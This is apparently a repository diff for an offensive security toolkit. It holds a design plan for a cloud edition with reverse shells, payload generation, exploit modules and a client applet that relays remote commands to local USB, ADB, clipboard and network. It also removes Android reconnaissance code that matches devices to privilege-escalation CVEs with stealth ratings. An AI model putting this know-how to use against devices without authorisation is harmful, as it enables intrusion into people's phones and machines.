├── cmd/
|
|
||||||
│ └── autarch-ce/
|
|
||||||
│ └── main.go # Entry point
|
|
||||||
├── internal/
|
|
||||||
│ ├── server/
|
|
||||||
│ │ ├── server.go # HTTP server, router, middleware
|
|
||||||
│ │ ├── auth.go # JWT authentication
|
|
||||||
│ │ ├── sse.go # SSE streaming helpers
|
|
||||||
│ │ └── websocket.go # WebSocket helpers
|
|
||||||
│ ├── handlers/
|
|
||||||
│ │ ├── dashboard.go # Main dashboard
|
|
||||||
│ │ ├── chat.go # LLM chat + agent mode
|
|
||||||
│ │ ├── osint.go # OSINT reconnaissance
|
|
||||||
│ │ ├── scanner.go # Port scanner
|
|
||||||
│ │ ├── analyze.go # Hash toolkit, file analysis
|
|
||||||
│ │ ├── simulate.go # Payload generation, attack sim
|
|
||||||
│ │ ├── hardware.go # Hardware management (Float relay)
|
|
||||||
│ │ ├── targets.go # Target management CRUD
|
|
||||||
│ │ ├── exploit.go # Android/iPhone exploit routes
|
|
||||||
│ │ ├── revshell.go # Reverse shell listener
|
|
||||||
│ │ ├── network.go # Network tools (traceroute, ping, DNS)
|
|
||||||
│ │ ├── threat.go # Threat intel feeds
|
|
||||||
│ │ ├── reports.go # Report generation
|
|
||||||
│ │ ├── settings.go # Configuration management
|
|
||||||
│ │ └── wireshark.go # Packet capture (tshark on VPS)
|
|
||||||
│ ├── llm/
|
|
||||||
│ │ ├── llm.go # Multi-backend LLM client interface
|
|
||||||
│ │ ├── claude.go # Anthropic Claude backend
|
|
||||||
│ │ ├── openai.go # OpenAI backend
|
|
||||||
│ │ ├── huggingface.go # HuggingFace Inference backend
|
|
||||||
│ │ └── agent.go # Autonomous agent (THOUGHT/ACTION/PARAMS)
|
|
||||||
│ ├── osint/
|
|
||||||
│ │ ├── engine.go # Site checking engine (concurrent)
|
|
||||||
│ │ ├── sites.go # Site database loader (JSON)
|
|
||||||
│ │ ├── dossier.go # Dossier management
|
|
||||||
│ │ └── geoip.go # MaxMind GeoIP reader
|
|
||||||
│ ├── hardware/
|
|
||||||
│ │ ├── manager.go # Hardware manager (Float-aware)
|
|
||||||
│ │ ├── adb.go # ADB command builder/parser
|
|
||||||
│ │ ├── fastboot.go # Fastboot command builder/parser
|
|
||||||
│ │ ├── serial.go # Serial port management
|
|
||||||
│ │ └── bridge.go # Float bridge command relay
|
|
||||||
│ ├── float/
|
|
||||||
│ │ ├── protocol.go # Binary WebSocket frame protocol
|
|
||||||
│ │ ├── session.go # Session management
|
|
||||||
│ │ ├── usb.go # USB device relay logic
|
|
||||||
│ │ ├── serial.go # Serial port relay logic
|
|
||||||
│ │ └── network.go # Network context relay logic
|
|
||||||
│ ├── scanner/
|
|
||||||
│ │ ├── port.go # TCP/UDP port scanner
|
|
||||||
│ │ ├── service.go # Service fingerprinting
|
|
||||||
│ │ └── network.go # Network mapper (ICMP sweep)
|
|
||||||
│ ├── tools/
|
|
||||||
│ │ ├── registry.go # Agent tool registry
|
|
||||||
│ │ ├── hash.go # Hash computation + identification
|
|
||||||
│ │ ├── strings.go # String extraction from binaries
|
|
||||||
│ │ └── encode.go # Encoding/decoding utilities
|
|
||||||
│ ├── revshell/
|
|
||||||
│ │ ├── listener.go # TCP listener for reverse shells
|
|
||||||
│ │ ├── generator.go # Shell payload generator
|
|
||||||
│ │ └── session.go # Active shell session management
|
|
||||||
│ ├── db/
|
|
||||||
│ │ ├── db.go # SQLite connection + migrations
|
|
||||||
│ │ ├── targets.go # Target CRUD
|
|
||||||
│ │ ├── dossiers.go # Dossier storage
|
|
||||||
│ │ ├── sessions.go # Float sessions
|
|
||||||
│ │ └── jobs.go # Background job tracking
|
|
||||||
│ └── config/
|
|
||||||
│ └── config.go # YAML config + defaults
|
|
||||||
├── web/
|
|
||||||
│ ├── templates/ # HTML templates (embed.FS)
|
|
||||||
│ │ ├── base.html # Master layout (port from Python)
|
|
||||||
│ │ ├── login.html
|
|
||||||
│ │ ├── dashboard.html
|
|
||||||
│ │ ├── chat.html
|
|
||||||
│ │ ├── osint.html
|
|
||||||
│ │ ├── scanner.html
|
|
||||||
│ │ ├── hardware.html
|
|
||||||
│ │ ├── analyze.html
|
|
||||||
│ │ ├── simulate.html
|
|
||||||
│ │ ├── targets.html
|
|
||||||
│ │ ├── exploit.html
|
|
||||||
│ │ ├── revshell.html
|
|
||||||
│ │ ├── reports.html
|
|
||||||
│ │ ├── settings.html
|
|
||||||
│ │ └── ... (one per feature)
|
|
||||||
│ └── static/ # CSS/JS/images (embed.FS)
|
|
||||||
│ ├── css/style.css # Port from Python AUTARCH
|
|
||||||
│ ├── js/
|
|
||||||
│ │ ├── app.js # Main app logic (port from Python)
|
|
||||||
│ │ ├── float-client.js # Float Mode browser-side logic
|
|
||||||
│ │ ├── hardware-direct.js # WebUSB (for local mode fallback)
|
|
||||||
│ │ └── lib/
|
|
||||||
│ │ ├── adb-bundle.js # ADB WebUSB client
|
|
||||||
│ │ ├── fastboot-bundle.js # Fastboot WebUSB client
|
|
||||||
│ │ └── esptool-bundle.js # ESP32 Web Serial client
|
|
||||||
│ └── img/
|
|
||||||
│ └── autarch.ico
|
|
||||||
├── data/
|
|
||||||
│ └── sites/ # OSINT site databases (JSON)
|
|
||||||
│ ├── sherlock.json
|
|
||||||
│ ├── maigret.json
|
|
||||||
│ └── ...
|
|
||||||
├── build.sh
|
|
||||||
├── go.mod
|
|
||||||
└── config.yaml
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 5. Float Bridge Protocol
|
|
||||||
|
|
||||||
### 5.1 Frame Format
|
|
||||||
|
|
||||||
All communication over WebSocket using binary frames:
|
|
||||||
|
|
||||||
```
|
|
||||||
┌──────┬──────┬──────┬────────┬─────────────────────┐
|
|
||||||
│ VER │ TYPE │ SEQ │ LENGTH │ PAYLOAD │
|
|
||||||
│ 1B │ 1B │ 4B │ 4B │ variable │
|
|
||||||
└──────┴──────┴──────┴────────┴─────────────────────┘
|
|
||||||
|
|
||||||
VER: Protocol version (0x01)
|
|
||||||
TYPE: Frame type (see below)
|
|
||||||
SEQ: Sequence number (for request/response matching)
|
|
||||||
LENGTH: Payload length in bytes (big-endian uint32)
|
|
||||||
PAYLOAD: Type-specific data (JSON or binary)
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5.2 Frame Types
|
|
||||||
|
|
||||||
```
|
|
||||||
── Control ──────────────────────────────────
|
|
||||||
0x00 PING Keepalive
|
|
||||||
0x01 PONG Keepalive response
|
|
||||||
0x02 HELLO Client registration (capabilities, platform)
|
|
||||||
0x03 AUTH Session authentication
|
|
||||||
0x04 ERROR Error response
|
|
||||||
0x05 DISCONNECT Graceful disconnect
|
|
||||||
|
|
||||||
── USB ──────────────────────────────────────
|
|
||||||
0x10 USB_ENUMERATE List connected USB devices
|
|
||||||
0x11 USB_ENUMERATE_RESULT Device list response
|
|
||||||
0x12 USB_OPEN Open device by vid:pid or serial
|
|
||||||
0x13 USB_OPEN_RESULT Open result (handle ID)
|
|
||||||
0x14 USB_CLOSE Close device handle
|
|
||||||
0x15 USB_TRANSFER Bulk/interrupt transfer
|
|
||||||
0x16 USB_TRANSFER_RESULT Transfer response data
|
|
||||||
0x17 USB_HOTPLUG Device connected/disconnected event
|
|
||||||
|
|
||||||
── ADB (high-level, built on USB) ──────────
|
|
||||||
0x20 ADB_DEVICES List ADB devices
|
|
||||||
0x21 ADB_DEVICES_RESULT Device list with state/model
|
|
||||||
0x22 ADB_SHELL Execute shell command
|
|
||||||
0x23 ADB_SHELL_RESULT Command output
|
|
||||||
0x24 ADB_PUSH Push file to device
|
|
||||||
0x25 ADB_PUSH_DATA File data chunk
|
|
||||||
0x26 ADB_PUSH_RESULT Push completion
|
|
||||||
0x27 ADB_PULL Pull file from device
|
|
||||||
0x28 ADB_PULL_DATA File data chunk
|
|
||||||
0x29 ADB_PULL_RESULT Pull completion
|
|
||||||
0x2A ADB_INSTALL Install APK
|
|
||||||
0x2B ADB_INSTALL_RESULT Install result
|
|
||||||
0x2C ADB_LOGCAT Start logcat stream
|
|
||||||
0x2D ADB_LOGCAT_LINE Logcat line
|
|
||||||
0x2E ADB_REBOOT Reboot device
|
|
||||||
|
|
||||||
── Fastboot ─────────────────────────────────
|
|
||||||
0x30 FB_DEVICES List fastboot devices
|
|
||||||
0x31 FB_DEVICES_RESULT Device list
|
|
||||||
0x32 FB_GETVAR Get variable
|
|
||||||
0x33 FB_GETVAR_RESULT Variable value
|
|
||||||
0x34 FB_FLASH Flash partition (streamed)
|
|
||||||
0x35 FB_FLASH_DATA Firmware data chunk
|
|
||||||
0x36 FB_FLASH_PROGRESS Flash progress update
|
|
||||||
0x37 FB_FLASH_RESULT Flash completion
|
|
||||||
0x38 FB_REBOOT Reboot
|
|
||||||
0x39 FB_OEM_UNLOCK OEM unlock
|
|
||||||
|
|
||||||
── Serial ───────────────────────────────────
|
|
||||||
0x40 SERIAL_LIST List serial ports
|
|
||||||
0x41 SERIAL_LIST_RESULT Port list
|
|
||||||
0x42 SERIAL_OPEN Open port (baud, settings)
|
|
||||||
0x43 SERIAL_OPEN_RESULT Open result
|
|
||||||
0x44 SERIAL_CLOSE Close port
|
|
||||||
0x45 SERIAL_WRITE Send data to port
|
|
||||||
0x46 SERIAL_READ Data received from port
|
|
||||||
0x47 SERIAL_DETECT_CHIP ESP32 chip detection
|
|
||||||
0x48 SERIAL_DETECT_RESULT Chip info
|
|
||||||
|
|
||||||
── Network Context ──────────────────────────
|
|
||||||
0x50 NET_INTERFACES List network interfaces
|
|
||||||
0x51 NET_INTERFACES_RESULT Interface list (IPs, MACs)
|
|
||||||
0x52 NET_SCAN Scan local network (ARP/ping)
|
|
||||||
0x53 NET_SCAN_RESULT Host list
|
|
||||||
0x54 NET_RESOLVE DNS resolve on client network
|
|
||||||
0x55 NET_RESOLVE_RESULT Resolution result
|
|
||||||
0x56 NET_CONNECT TCP connect through client
|
|
||||||
0x57 NET_CONNECT_RESULT Connection result
|
|
||||||
0x58 NET_MDNS_DISCOVER mDNS service discovery
|
|
||||||
0x59 NET_MDNS_RESULT Discovered services
|
|
||||||
|
|
||||||
── System Context ───────────────────────────
|
|
||||||
0x60 SYS_INFO Client system info
|
|
||||||
0x61 SYS_INFO_RESULT OS, arch, hostname, user
|
|
||||||
0x62 SYS_CLIPBOARD_GET Get clipboard contents
|
|
||||||
0x63 SYS_CLIPBOARD_DATA Clipboard data
|
|
||||||
0x64 SYS_CLIPBOARD_SET Set clipboard contents
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5.3 Payload Formats
|
|
||||||
|
|
||||||
**HELLO payload (JSON):**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"version": "1.0.0",
|
|
||||||
"platform": "windows",
|
|
||||||
"arch": "amd64",
|
|
||||||
"hostname": "user-desktop",
|
|
||||||
"capabilities": ["usb", "serial", "network", "clipboard"],
|
|
||||||
"usb_devices": 3,
|
|
||||||
"serial_ports": 1
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**USB_ENUMERATE_RESULT payload (JSON):**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"devices": [
|
|
||||||
{
|
|
||||||
"vid": "18d1",
|
|
||||||
"pid": "4ee7",
|
|
||||||
"serial": "ABCDEF123456",
|
|
||||||
"manufacturer": "Google",
|
|
||||||
"product": "Pixel 8",
|
|
||||||
"bus": 1,
|
|
||||||
"address": 4,
|
|
||||||
"class": "adb"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**ADB_SHELL payload (JSON):**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"serial": "ABCDEF123456",
|
|
||||||
"command": "pm list packages -3"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**USB_TRANSFER payload (binary):**
|
|
||||||
```
|
|
||||||
┌──────────┬──────────┬──────┬──────────┐
|
|
||||||
│ HANDLE │ ENDPOINT │ FLAGS│ DATA │
|
|
||||||
│ 4B │ 1B │ 1B │ variable │
|
|
||||||
└──────────┴──────────┴──────┴──────────┘
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 6. Float Applet (Client-Side)
|
|
||||||
|
|
||||||
### 6.1 Options for the Applet
|
|
||||||
|
|
||||||
| Option | Pros | Cons |
|
|
||||||
|--------|------|------|
|
|
||||||
| **Go native app** (recommended) | Single binary, cross-platform, full USB access via libusb/gousb | Requires download + run |
|
|
||||||
| **Electron app** | Web technologies, WebUSB built-in | Heavy (~150MB), Chromium overhead |
|
|
||||||
| **Tauri app** | Lighter than Electron (~10MB), Rust backend | More complex build, newer ecosystem |
|
|
||||||
| **Browser extension + Web Serial/USB** | No install needed | Limited USB access, Chrome only, no raw USB |
|
|
||||||
| **Java Web Start / JNLP** | Auto-launch from browser | Dead technology, security warnings |
|
|
||||||
|
|
||||||
**Recommendation: Go native app** (5-10MB binary)
|
|
||||||
|
|
||||||
The user downloads a small executable. On launch it:
|
|
||||||
1. Shows a system tray icon with status
|
|
||||||
2. Connects via WebSocket to the VPS
|
|
||||||
3. Enumerates local USB, serial, and network
|
|
||||||
4. Relays commands from the VPS to local hardware
|
|
||||||
5. Stays running in background until closed
|
|
||||||
|
|
||||||
### 6.2 Float Applet Structure
|
|
||||||
|
|
||||||
```
|
|
||||||
float-applet/
|
|
||||||
├── cmd/
|
|
||||||
│ └── float/
|
|
||||||
│ └── main.go # Entry point, tray icon
|
|
||||||
├── internal/
|
|
||||||
│ ├── bridge/
|
|
||||||
│ │ ├── client.go # WebSocket client + reconnect
|
|
||||||
│ │ ├── protocol.go # Frame parser/builder (shared with server)
|
|
||||||
│ │ └── handler.go # Dispatch incoming frames to subsystems
|
|
||||||
│ ├── usb/
|
|
||||||
│ │ ├── enumerate.go # List USB devices (gousb/libusb)
|
|
||||||
│ │ ├── device.go # Open/close/transfer
|
|
||||||
│ │ └── hotplug.go # Device connect/disconnect events
|
|
||||||
│ ├── adb/
|
|
||||||
│ │ ├── client.go # ADB protocol implementation
|
|
||||||
│ │ ├── shell.go # Shell command execution
|
|
||||||
│ │ ├── sync.go # File push/pull (ADB sync protocol)
|
|
||||||
│ │ └── logcat.go # Logcat streaming
|
|
||||||
│ ├── fastboot/
|
|
||||||
│ │ ├── client.go # Fastboot protocol
|
|
||||||
│ │ ├── flash.go # Partition flashing
|
|
||||||
│ │ └── getvar.go # Variable queries
|
|
||||||
│ ├── serial/
|
|
||||||
│ │ ├── enumerate.go # List serial ports
|
|
||||||
│ │ ├── port.go # Open/read/write serial
|
|
||||||
│ │ └── esp.go # ESP32 chip detection
|
|
||||||
│ ├── network/
|
|
||||||
│ │ ├── interfaces.go # List local interfaces
|
|
||||||
│ │ ├── scan.go # ARP/ping sweep
|
|
||||||
│ │ ├── proxy.go # TCP proxy for remote connections
|
|
||||||
│ │ └── mdns.go # mDNS discovery relay
|
|
||||||
│ └── system/
|
|
||||||
│ ├── info.go # OS, arch, hostname
|
|
||||||
│ └── clipboard.go # Clipboard read/write
|
|
||||||
├── build.sh # Cross-compile: Windows, Linux, macOS
|
|
||||||
└── go.mod
|
|
||||||
```
|
|
||||||
|
|
||||||
### 6.3 Float Applet User Experience
|
|
||||||
|
|
||||||
```
|
|
||||||
1. User visits AUTARCH CE web dashboard
|
|
||||||
2. Clicks "Float Mode" button
|
|
||||||
3. If first time:
|
|
||||||
a. Page shows download links for their platform (auto-detected)
|
|
||||||
b. User downloads float-applet binary (~8MB)
|
|
||||||
c. Runs it — system tray icon appears
|
|
||||||
4. Applet auto-connects to VPS via WebSocket
|
|
||||||
5. Dashboard detects connection:
|
|
||||||
a. Hardware page now shows LOCAL USB devices
|
|
||||||
b. LAN scanner sees LOCAL network
|
|
||||||
c. Serial ports show LOCAL COM/ttyUSB ports
|
|
||||||
6. User works normally — everything feels local
|
|
||||||
7. Close applet → hardware reverts to VPS context
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 7. AUTARCH CE Feature Map
|
|
||||||
|
|
||||||
### Tier 1: Core (implement first)
|
|
||||||
|
|
||||||
| Feature | Source Reference | Go Package |
|
|
||||||
|---------|----------------|------------|
|
|
||||||
| Web server + routing | `web/app.py` (183 lines) | `internal/server/` |
|
|
||||||
| Authentication | `web/auth.py` (73 lines) | `internal/server/auth.go` |
|
|
||||||
| Dashboard | `web/routes/dashboard.py` | `internal/handlers/dashboard.go` |
|
|
||||||
| Configuration | `core/config.py` (587 lines) | `internal/config/` |
|
|
||||||
| Settings UI | `web/routes/settings.py` | `internal/handlers/settings.go` |
|
|
||||||
| Base template + CSS | `web/templates/base.html`, `style.css` | `web/templates/`, `web/static/` |
|
|
||||||
|
|
||||||
### Tier 2: Intelligence (implement second)
|
|
||||||
|
|
||||||
| Feature | Source Reference | Go Package |
|
|
||||||
|---------|----------------|------------|
|
|
||||||
| LLM chat (API backends) | `core/llm.py` (1400 lines) | `internal/llm/` |
|
|
||||||
| Agent system | `core/agent.py` (439 lines) | `internal/llm/agent.go` |
|
|
||||||
| Tool registry | `core/tools.py` | `internal/tools/registry.go` |
|
|
||||||
| Chat UI | `web/routes/chat.py`, `web/templates/chat.html` | `internal/handlers/chat.go` |
|
|
||||||
| OSINT engine | `modules/recon.py` | `internal/osint/engine.go` |
|
|
||||||
| Site databases | `data/sites/*.json` (7,287 sites) | `data/sites/` (embedded) |
|
|
||||||
| Dossier management | `modules/dossier.py` | `internal/osint/dossier.go` |
|
|
||||||
| GeoIP | `modules/geoip.py` | `internal/osint/geoip.go` |
|
|
||||||
|
|
||||||
### Tier 3: Scanning & Analysis
|
|
||||||
|
|
||||||
| Feature | Source Reference | Go Package |
|
|
||||||
|---------|----------------|------------|
|
|
||||||
| Port scanner | `web/routes/port_scanner.py` | `internal/scanner/port.go` |
|
|
||||||
| Network mapper | `modules/net_mapper.py` | `internal/scanner/network.go` |
|
|
||||||
| Hash toolkit | `modules/analyze.py` (hash section) | `internal/tools/hash.go` |
|
|
||||||
| Target management | `web/routes/targets.py` | `internal/handlers/targets.go` |
|
|
||||||
| Threat intel | `modules/threat_intel.py` | `internal/handlers/threat.go` |
|
|
||||||
| Report engine | `modules/report_engine.py` | `internal/handlers/reports.go` |
|
|
||||||
|
|
||||||
### Tier 4: Float Mode + Hardware
|
|
||||||
|
|
||||||
| Feature | Source Reference | Go Package |
|
|
||||||
|---------|----------------|------------|
|
|
||||||
| Float bridge (server) | NEW | `internal/float/` |
|
|
||||||
| Hardware manager | `core/hardware.py` (641 lines) | `internal/hardware/` |
|
|
||||||
| Hardware UI | `web/routes/hardware.py` (417 lines) | `internal/handlers/hardware.go` |
|
|
||||||
| ADB relay | `core/hardware.py` ADB methods | `internal/hardware/adb.go` |
|
|
||||||
| Fastboot relay | `core/hardware.py` FB methods | `internal/hardware/fastboot.go` |
|
|
||||||
| Serial relay | `core/hardware.py` serial methods | `internal/hardware/serial.go` |
|
|
||||||
|
|
||||||
### Tier 5: Exploitation & Advanced
|
|
||||||
|
|
||||||
| Feature | Source Reference | Go Package |
|
|
||||||
|---------|----------------|------------|
|
|
||||||
| Reverse shell | `core/revshell.py`, `modules/revshell.py` | `internal/revshell/` |
|
|
||||||
| Payload generator | `modules/simulate.py` | `internal/handlers/simulate.go` |
|
|
||||||
| Android exploit | `core/android_exploit.py` | `internal/handlers/exploit.go` |
|
|
||||||
| Wireshark (tshark) | `modules/wireshark.py` | `internal/handlers/wireshark.go` |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 8. Estimated Scope
|
|
||||||
|
|
||||||
```
|
|
||||||
AUTARCH Cloud Edition (Go rewrite of web-facing features):
|
|
||||||
├── Core server + auth + config + dashboard ~2,500 lines
|
|
||||||
├── LLM client + agent system ~2,000 lines
|
|
||||||
├── OSINT engine + site DB + dossiers ~2,500 lines
|
|
||||||
├── Scanner + network tools ~1,500 lines
|
|
||||||
├── Float bridge protocol + server side ~2,000 lines
|
|
||||||
├── Hardware manager (Float relay) ~1,500 lines
|
|
||||||
├── Handlers (all web routes) ~3,000 lines
|
|
||||||
├── Database layer ~1,000 lines
|
|
||||||
├── Web templates (HTML) ~3,000 lines
|
|
||||||
├── CSS + JavaScript ~2,500 lines
|
|
||||||
└── Total ~21,500 lines
|
|
||||||
|
|
||||||
Float Applet (client-side):
|
|
||||||
├── WebSocket client + reconnect ~500 lines
|
|
||||||
├── Protocol + frame handling ~800 lines
|
|
||||||
├── USB enumeration + transfer ~1,000 lines
|
|
||||||
├── ADB protocol client ~1,500 lines
|
|
||||||
├── Fastboot protocol client ~800 lines
|
|
||||||
├── Serial port management ~600 lines
|
|
||||||
├── Network context (scan, proxy, mDNS) ~1,000 lines
|
|
||||||
├── System (clipboard, info) ~300 lines
|
|
||||||
├── Tray icon + UI ~400 lines
|
|
||||||
└── Total ~6,900 lines
|
|
||||||
|
|
||||||
Combined total: ~28,400 lines of Go
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 9. Build Phases
|
|
||||||
|
|
||||||
### Phase 1: Foundation
|
|
||||||
- Go HTTP server with chi router
|
|
||||||
- JWT authentication
|
|
||||||
- Dashboard with system stats
|
|
||||||
- Configuration management (YAML + UI)
|
|
||||||
- Base HTML template + CSS (port from Python AUTARCH)
|
|
||||||
- SQLite database
|
|
||||||
- **Deliverable:** Working web dashboard you can log into
|
|
||||||
|
|
||||||
### Phase 2: Intelligence
|
|
||||||
- LLM client (Claude, OpenAI, HuggingFace API backends)
|
|
||||||
- Agent system (THOUGHT/ACTION/PARAMS loop)
|
|
||||||
- Tool registry
|
|
||||||
- Chat UI with SSE streaming
|
|
||||||
- OSINT engine with concurrent site checking
|
|
||||||
- GeoIP lookups
|
|
||||||
- Dossier CRUD
|
|
||||||
- **Deliverable:** AI chat + OSINT fully working
|
|
||||||
|
|
||||||
### Phase 3: Tools
|
|
||||||
- Port scanner with SSE progress
|
|
||||||
- Network mapper
|
|
||||||
- Hash toolkit (identify, compute, mutate)
|
|
||||||
- Target management
|
|
||||||
- Threat intelligence feed integration
|
|
||||||
- Report generation
|
|
||||||
- Reverse shell listener
|
|
||||||
- **Deliverable:** Full scanning + analysis suite
|
|
||||||
|
|
||||||
### Phase 4: Float Mode
|
|
||||||
- Float bridge protocol implementation (server)
|
|
||||||
- WebSocket session management
|
|
||||||
- USB device relay (enumerate, open, transfer)
|
|
||||||
- ADB command relay
|
|
||||||
- Fastboot command relay
|
|
||||||
- Serial port relay
|
|
||||||
- Hardware UI integration
|
|
||||||
- **Deliverable:** Connect local hardware to cloud AUTARCH
|
|
||||||
|
|
||||||
### Phase 5: Float Applet
|
|
||||||
- Go native client application
|
|
||||||
- WebSocket client with auto-reconnect
|
|
||||||
- USB enumeration via gousb/libusb
|
|
||||||
- ADB protocol (shell, sync, install)
|
|
||||||
- Fastboot protocol (flash, getvar)
|
|
||||||
- Serial port access
|
|
||||||
- Network context (interfaces, ARP scan, mDNS)
|
|
||||||
- System tray icon
|
|
||||||
- Cross-platform build (Windows, Linux, macOS)
|
|
||||||
- **Deliverable:** Complete Float Mode end-to-end
|
|
||||||
|
|
||||||
### Phase 6: Polish
|
|
||||||
- Exploit modules (Android, iPhone)
|
|
||||||
- Wireshark integration
|
|
||||||
- Payload generator
|
|
||||||
- UI refinement
|
|
||||||
- Documentation
|
|
||||||
- Automated tests
|
|
||||||
- **Deliverable:** Production-ready AUTARCH CE
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 10. Key Design Decisions
|
|
||||||
|
|
||||||
1. **No local LLM** — VPS won't have GPU. All LLM via API (Claude preferred).
|
|
||||||
2. **Embedded assets** — Templates, CSS, JS, site databases baked into binary via `embed.FS`.
|
|
||||||
3. **SQLite not files** — All persistent state in SQLite (not JSON files on disk).
|
|
||||||
4. **Float is optional** — AUTARCH CE works without Float. Hardware features just show "Connect Float applet" when no bridge is active.
|
|
||||||
5. **Same UI** — Port the exact HTML/CSS from Python AUTARCH. Users shouldn't notice the difference.
|
|
||||||
6. **Protocol versioned** — Float bridge protocol has version byte for backward compatibility.
|
|
||||||
7. **Chunked transfers** — Large files (firmware, APKs) sent in 64KB chunks over the bridge.
|
|
||||||
8. **Reconnect resilient** — Float applet auto-reconnects. Operations in progress resume or report failure.
|
|
||||||
9. **Security first** — All bridge communication over WSS (TLS). Session tokens expire. USB transfers validated.
|
|
||||||
10. **DNS server integrated** — The existing Go DNS server can be imported as a Go package directly.
|
|
||||||
@ -15,7 +15,7 @@ mirostat_mode = 0
|
|||||||
mirostat_tau = 5.0
|
mirostat_tau = 5.0
|
||||||
mirostat_eta = 0.1
|
mirostat_eta = 0.1
|
||||||
flash_attn = false
|
flash_attn = false
|
||||||
gpu_backend = cuda
|
gpu_backend = vulkan
|
||||||
|
|
||||||
[autarch]
|
[autarch]
|
||||||
first_run = false
|
first_run = false
|
||||||
|
|||||||
@ -1251,715 +1251,6 @@ class AndroidExploitManager:
|
|||||||
success = rc == 0 and 'cannot' not in output.lower() and 'not allowed' not in output.lower()
|
success = rc == 0 and 'cannot' not in output.lower() and 'not allowed' not in output.lower()
|
||||||
return {'success': success, 'output': output}
|
return {'success': success, 'output': output}
|
||||||
|
|
||||||
# ── Privilege Escalation Exploits ────────────────────────────────
|
|
||||||
|
|
||||||
def detect_os_type(self, serial) -> Dict[str, Any]:
|
|
||||||
"""Detect if device runs stock Android, GrapheneOS, or other custom ROM."""
|
|
||||||
info = {}
|
|
||||||
fingerprint = self._shell(serial, 'getprop ro.build.fingerprint')['output'].strip()
|
|
||||||
info['fingerprint'] = fingerprint
|
|
||||||
info['is_grapheneos'] = 'grapheneos' in fingerprint.lower()
|
|
||||||
|
|
||||||
# Additional GrapheneOS indicators
|
|
||||||
if not info['is_grapheneos']:
|
|
||||||
desc = self._shell(serial, 'getprop ro.build.description')['output'].strip()
|
|
||||||
info['is_grapheneos'] = 'grapheneos' in desc.lower()
|
|
||||||
|
|
||||||
brand = self._shell(serial, 'getprop ro.product.brand')['output'].strip()
|
|
||||||
info['is_pixel'] = brand.lower() in ('google',)
|
|
||||||
info['brand'] = brand
|
|
||||||
info['model'] = self._shell(serial, 'getprop ro.product.model')['output'].strip()
|
|
||||||
info['android_version'] = self._shell(serial, 'getprop ro.build.version.release')['output'].strip()
|
|
||||||
info['sdk'] = self._shell(serial, 'getprop ro.build.version.sdk')['output'].strip()
|
|
||||||
info['security_patch'] = self._shell(serial, 'getprop ro.build.version.security_patch')['output'].strip()
|
|
||||||
info['build_type'] = self._shell(serial, 'getprop ro.build.type')['output'].strip()
|
|
||||||
info['kernel'] = self._shell(serial, 'uname -r 2>/dev/null')['output'].strip()
|
|
||||||
|
|
||||||
# Check for hardened_malloc (GrapheneOS indicator)
|
|
||||||
malloc_check = self._shell(serial, 'getprop libc.debug.malloc.options 2>/dev/null')
|
|
||||||
info['hardened_malloc'] = 'hardened' in malloc_check['output'].lower() if malloc_check['returncode'] == 0 else info['is_grapheneos']
|
|
||||||
|
|
||||||
# Check bootloader state
|
|
||||||
bl = self._shell(serial, 'getprop ro.boot.verifiedbootstate')['output'].strip()
|
|
||||||
info['verified_boot_state'] = bl # green=locked, orange=unlocked, yellow=custom key
|
|
||||||
info['bootloader_unlocked'] = bl == 'orange'
|
|
||||||
|
|
||||||
return info
|
|
||||||
|
|
||||||
def assess_vulnerabilities(self, serial) -> Dict[str, Any]:
|
|
||||||
"""Assess which privilege escalation methods are available for this device."""
|
|
||||||
os_info = self.detect_os_type(serial)
|
|
||||||
try:
|
|
||||||
sdk_int = int(os_info.get('sdk', '0'))
|
|
||||||
except ValueError:
|
|
||||||
sdk_int = 0
|
|
||||||
patch = os_info.get('security_patch', '')
|
|
||||||
is_graphene = os_info.get('is_grapheneos', False)
|
|
||||||
is_pixel = os_info.get('is_pixel', False)
|
|
||||||
|
|
||||||
vulns = []
|
|
||||||
|
|
||||||
# CVE-2024-0044: run-as privilege escalation (Android 12-13)
|
|
||||||
if sdk_int in (31, 32, 33) and patch < '2024-10-01':
|
|
||||||
vulns.append({
|
|
||||||
'cve': 'CVE-2024-0044',
|
|
||||||
'name': 'run-as privilege escalation',
|
|
||||||
'severity': 'high',
|
|
||||||
'type': 'app_uid_access',
|
|
||||||
'description': 'Newline injection in PackageInstallerService allows run-as any app UID',
|
|
||||||
'requirements': 'ADB shell (UID 2000)',
|
|
||||||
'reliability': 'high',
|
|
||||||
'stealth': 'moderate',
|
|
||||||
'exploitable': True,
|
|
||||||
})
|
|
||||||
|
|
||||||
# CVE-2024-31317: Zygote injection via WRITE_SECURE_SETTINGS (Android 12-14)
|
|
||||||
if sdk_int in (31, 32, 33, 34) and patch < '2024-04-01':
|
|
||||||
vulns.append({
|
|
||||||
'cve': 'CVE-2024-31317',
|
|
||||||
'name': 'Zygote injection via settings',
|
|
||||||
'severity': 'high',
|
|
||||||
'type': 'app_uid_access',
|
|
||||||
'description': 'Inject commands into Zygote via hidden_api_blacklist_exemptions setting',
|
|
||||||
'requirements': 'ADB shell (UID 2000, has WRITE_SECURE_SETTINGS)',
|
|
||||||
'reliability': 'high',
|
|
||||||
'stealth': 'moderate',
|
|
||||||
'exploitable': not is_graphene, # GrapheneOS uses exec spawning, no Zygote
|
|
||||||
'note': 'BLOCKED on GrapheneOS (exec spawning model, no Zygote)' if is_graphene else '',
|
|
||||||
})
|
|
||||||
|
|
||||||
# Pixel GPU exploit (CVE-2023-6241) — Pixel 7/8, Android 14
|
|
||||||
if is_pixel and sdk_int == 34 and patch < '2023-12-01':
|
|
||||||
vulns.append({
|
|
||||||
'cve': 'CVE-2023-6241',
|
|
||||||
'name': 'Pixel Mali GPU kernel root',
|
|
||||||
